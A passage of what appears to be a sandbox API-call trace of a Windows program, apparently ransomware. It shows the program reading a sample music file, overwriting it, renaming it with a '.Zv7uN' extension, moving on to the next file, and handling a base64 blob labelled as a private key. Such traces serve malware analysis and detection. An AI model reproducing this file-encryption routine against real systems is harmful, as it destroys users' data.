(in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0108.637] VirtualAlloc (lpAddress=0x0, dwSize=0x810000, flAllocationType=0x101000, flProtect=0x4) returned 0x7e790000 [0108.638] ReadFile (in: hFile=0x120, lpBuffer=0x7e790010, nNumberOfBytesToRead=0x8064f1, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x7e790010*, lpNumberOfBytesRead=0x18f6a0*=0x8064f1, lpOverlapped=0x0) returned 1 [0109.840] CloseHandle (hObject=0x120) returned 1 [0109.840] VirtualAlloc (lpAddress=0x0, dwSize=0x810000, flAllocationType=0x101000, flProtect=0x4) returned 0x7df80000 [0109.847] VirtualAlloc (lpAddress=0x0, dwSize=0xe0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7dea0000 [0109.883] VirtualQuery (in: lpAddress=0x7df80000, lpBuffer=0x18f5e8, dwLength=0x1c | out: lpBuffer=0x18f5e8*(BaseAddress=0x7df80000, AllocationBase=0x7df80000, AllocationProtect=0x4, RegionSize=0x810000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0109.883] VirtualAlloc (lpAddress=0x0, dwSize=0x120000, flAllocationType=0x101000, flProtect=0x4) returned 0x7dd80000 [0109.929] VirtualQuery (in: lpAddress=0x7dea0000, lpBuffer=0x18f5e8, dwLength=0x1c | out: lpBuffer=0x18f5e8*(BaseAddress=0x7dea0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xe0000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0109.929] VirtualAlloc (lpAddress=0x7dea0000, dwSize=0x50000, flAllocationType=0x2000, flProtect=0x4) returned 0x7dea0000 [0109.930] VirtualAlloc (lpAddress=0x7dea0000, dwSize=0x50000, flAllocationType=0x1000, flProtect=0x4) returned 0x7dea0000 [0110.571] VirtualQuery (in: lpAddress=0x7def0000, lpBuffer=0x18f5e8, dwLength=0x1c | out: lpBuffer=0x18f5e8*(BaseAddress=0x7def0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x90000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0110.572] VirtualAlloc (lpAddress=0x7def0000, dwSize=0x60000, flAllocationType=0x2000, flProtect=0x4) returned 0x7def0000 [0110.572] VirtualAlloc (lpAddress=0x7def0000, dwSize=0x60000, flAllocationType=0x1000, flProtect=0x4) returned 0x7def0000 [0110.592] VirtualQuery (in: lpAddress=0x7df50000, lpBuffer=0x18f5e8, dwLength=0x1c | out: lpBuffer=0x18f5e8*(BaseAddress=0x7df50000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x30000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0110.592] VirtualAlloc (lpAddress=0x7df50000, dwSize=0x30000, flAllocationType=0x2000, flProtect=0x4) returned 0x7df50000 [0110.593] VirtualAlloc (lpAddress=0x7df50000, dwSize=0x30000, flAllocationType=0x1000, flProtect=0x4) returned 0x7df50000 [0110.601] VirtualQuery (in: lpAddress=0x7df80000, lpBuffer=0x18f5e8, dwLength=0x1c | out: lpBuffer=0x18f5e8*(BaseAddress=0x7df80000, AllocationBase=0x7df80000, AllocationProtect=0x4, RegionSize=0x810000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0110.601] VirtualAlloc (lpAddress=0x0, dwSize=0x280000, flAllocationType=0x101000, flProtect=0x4) returned 0x7db00000 [0110.649] VirtualQuery (in: lpAddress=0x7dd80000, lpBuffer=0x18f5b4, dwLength=0x1c | out: lpBuffer=0x18f5b4*(BaseAddress=0x7dd80000, AllocationBase=0x7dd80000, AllocationProtect=0x4, RegionSize=0x120000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0110.649] VirtualFree (lpAddress=0x7dd80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0110.666] VirtualQuery (in: lpAddress=0x7dea0000, lpBuffer=0x18f5b4, dwLength=0x1c | out: lpBuffer=0x18f5b4*(BaseAddress=0x7dea0000, AllocationBase=0x7dea0000, AllocationProtect=0x4, RegionSize=0x50000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0110.666] VirtualFree (lpAddress=0x7dea0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0110.670] VirtualQuery (in: lpAddress=0x7def0000, lpBuffer=0x18f5b4, dwLength=0x1c | out: lpBuffer=0x18f5b4*(BaseAddress=0x7def0000, AllocationBase=0x7def0000, AllocationProtect=0x4, RegionSize=0x60000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0110.670] VirtualFree (lpAddress=0x7def0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0110.719] VirtualQuery (in: lpAddress=0x7df50000, lpBuffer=0x18f5b4, dwLength=0x1c | out: lpBuffer=0x18f5b4*(BaseAddress=0x7df50000, AllocationBase=0x7df50000, AllocationProtect=0x4, RegionSize=0x30000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0110.719] VirtualFree (lpAddress=0x7df50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0110.737] VirtualQuery (in: lpAddress=0x7dd80000, lpBuffer=0x18f5e8, dwLength=0x1c | out: lpBuffer=0x18f5e8*(BaseAddress=0x7dd80000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x200000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0110.737] VirtualAlloc (lpAddress=0x7dd80000, dwSize=0xa0000, flAllocationType=0x2000, flProtect=0x4) returned 0x7dd80000 [0110.737] VirtualAlloc (lpAddress=0x7dd80000, dwSize=0xa0000, flAllocationType=0x1000, flProtect=0x4) returned 0x7dd80000 [0110.756] VirtualQuery (in: lpAddress=0x7de20000, lpBuffer=0x18f5e8, dwLength=0x1c | out: lpBuffer=0x18f5e8*(BaseAddress=0x7de20000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x160000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0110.756] VirtualAlloc (lpAddress=0x7de20000, dwSize=0xd0000, flAllocationType=0x2000, flProtect=0x4) returned 0x7de20000 [0110.756] VirtualAlloc (lpAddress=0x7de20000, dwSize=0xd0000, flAllocationType=0x1000, flProtect=0x4) returned 0x7de20000 [0110.779] VirtualQuery (in: lpAddress=0x7def0000, lpBuffer=0x18f5e8, dwLength=0x1c | out: lpBuffer=0x18f5e8*(BaseAddress=0x7def0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x90000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0110.779] VirtualAlloc (lpAddress=0x7def0000, dwSize=0x90000, flAllocationType=0x2000, flProtect=0x4) returned 0x7def0000 [0110.780] VirtualAlloc (lpAddress=0x7def0000, dwSize=0x90000, flAllocationType=0x1000, flProtect=0x4) returned 0x7def0000 [0110.796] VirtualQuery (in: lpAddress=0x7df80000, lpBuffer=0x18f5e8, dwLength=0x1c | out: lpBuffer=0x18f5e8*(BaseAddress=0x7df80000, AllocationBase=0x7df80000, AllocationProtect=0x4, RegionSize=0x810000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0110.797] VirtualAlloc (lpAddress=0x0, dwSize=0x5a0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7d560000 [0110.981] VirtualQuery (in: lpAddress=0x7db00000, lpBuffer=0x18f5b4, dwLength=0x1c | out: lpBuffer=0x18f5b4*(BaseAddress=0x7db00000, AllocationBase=0x7db00000, AllocationProtect=0x4, RegionSize=0x280000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0110.982] VirtualFree (lpAddress=0x7db00000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0111.052] VirtualQuery (in: lpAddress=0x7dd80000, lpBuffer=0x18f5b4, dwLength=0x1c | out: lpBuffer=0x18f5b4*(BaseAddress=0x7dd80000, AllocationBase=0x7dd80000, AllocationProtect=0x4, RegionSize=0xa0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0111.052] VirtualFree (lpAddress=0x7dd80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0111.060] VirtualQuery (in: lpAddress=0x7de20000, lpBuffer=0x18f5b4, dwLength=0x1c | out: lpBuffer=0x18f5b4*(BaseAddress=0x7de20000, AllocationBase=0x7de20000, AllocationProtect=0x4, RegionSize=0xd0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0111.060] VirtualFree (lpAddress=0x7de20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0111.069] VirtualQuery (in: lpAddress=0x7def0000, lpBuffer=0x18f5b4, dwLength=0x1c | out: lpBuffer=0x18f5b4*(BaseAddress=0x7def0000, AllocationBase=0x7def0000, AllocationProtect=0x4, RegionSize=0x90000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0111.069] VirtualFree (lpAddress=0x7def0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0111.109] VirtualQuery (in: lpAddress=0x7db00000, lpBuffer=0x18f5e8, dwLength=0x1c | out: lpBuffer=0x18f5e8*(BaseAddress=0x7db00000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x480000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0111.109] VirtualAlloc (lpAddress=0x7db00000, dwSize=0x170000, flAllocationType=0x2000, flProtect=0x4) returned 0x7db00000 [0111.110] VirtualAlloc (lpAddress=0x7db00000, dwSize=0x170000, flAllocationType=0x1000, flProtect=0x4) returned 0x7db00000 [0111.156] VirtualQuery (in: lpAddress=0x7dc70000, lpBuffer=0x18f5e8, dwLength=0x1c | out: lpBuffer=0x18f5e8*(BaseAddress=0x7dc70000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x310000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0111.156] VirtualAlloc (lpAddress=0x7dc70000, dwSize=0x1d0000, flAllocationType=0x2000, flProtect=0x4) returned 0x7dc70000 [0111.157] VirtualAlloc (lpAddress=0x7dc70000, dwSize=0x1d0000, flAllocationType=0x1000, flProtect=0x4) returned 0x7dc70000 [0112.021] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3" (normalized: "c:\\users\\public\\music\\sample music\\kalimba.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0112.027] WriteFile (in: hFile=0x120, lpBuffer=0x7df80010*, nNumberOfBytesToWrite=0x8064f1, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x7df80010*, lpNumberOfBytesWritten=0x18f6ac*=0x8064f1, lpOverlapped=0x0) returned 1 [0112.592] CloseHandle (hObject=0x120) returned 1 [0112.621] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3" (normalized: "c:\\users\\public\\music\\sample music\\kalimba.mp3"), lpNewFileName="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3.Zv7uN" (normalized: "c:\\users\\public\\music\\sample music\\kalimba.mp3.zv7un")) returned 1 [0112.828] VirtualFree (lpAddress=0x7e790000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.011] VirtualFree (lpAddress=0x7df80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.112] VirtualQuery (in: lpAddress=0x7d560000, lpBuffer=0x18f6a4, dwLength=0x1c | out: lpBuffer=0x18f6a4*(BaseAddress=0x7d560000, AllocationBase=0x7d560000, AllocationProtect=0x4, RegionSize=0x5a0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0113.112] VirtualFree (lpAddress=0x7d560000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.185] VirtualQuery (in: lpAddress=0x7db00000, lpBuffer=0x18f6a4, dwLength=0x1c | out: lpBuffer=0x18f6a4*(BaseAddress=0x7db00000, AllocationBase=0x7db00000, AllocationProtect=0x4, RegionSize=0x170000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0113.185] VirtualFree (lpAddress=0x7db00000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.202] VirtualQuery (in: lpAddress=0x7dc70000, lpBuffer=0x18f6a4, dwLength=0x1c | out: lpBuffer=0x18f6a4*(BaseAddress=0x7dc70000, AllocationBase=0x7dc70000, AllocationProtect=0x4, RegionSize=0x1d0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0113.202] VirtualFree (lpAddress=0x7dc70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.306] GetCurrentThreadId () returned 0xa30 [0113.306] GetCurrentThreadId () returned 0xa30 [0113.306] GetCurrentThreadId () returned 0xa30 [0113.307] GetCurrentThreadId () returned 0xa30 [0113.307] GetCurrentThreadId () returned 0xa30 [0113.307] GetCurrentThreadId () returned 0xa30 [0113.307] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be5ebf7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3ec5d2, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Maid with the Flaxen Hair.mp3", cAlternateFileName="MAIDWI~1.MP3")) returned 1 [0113.307] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0113.307] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0113.767] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3" (normalized: "c:\\users\\public\\music\\sample music\\maid with the flaxen hair.mp3"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be5ebf7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3ec5d2)) returned 1 [0113.768] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3" (normalized: "c:\\users\\public\\music\\sample music\\maid with the flaxen hair.mp3")) returned 0x20 [0113.768] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3", dwFileAttributes=0x80) returned 1 [0115.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0115.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c538ec, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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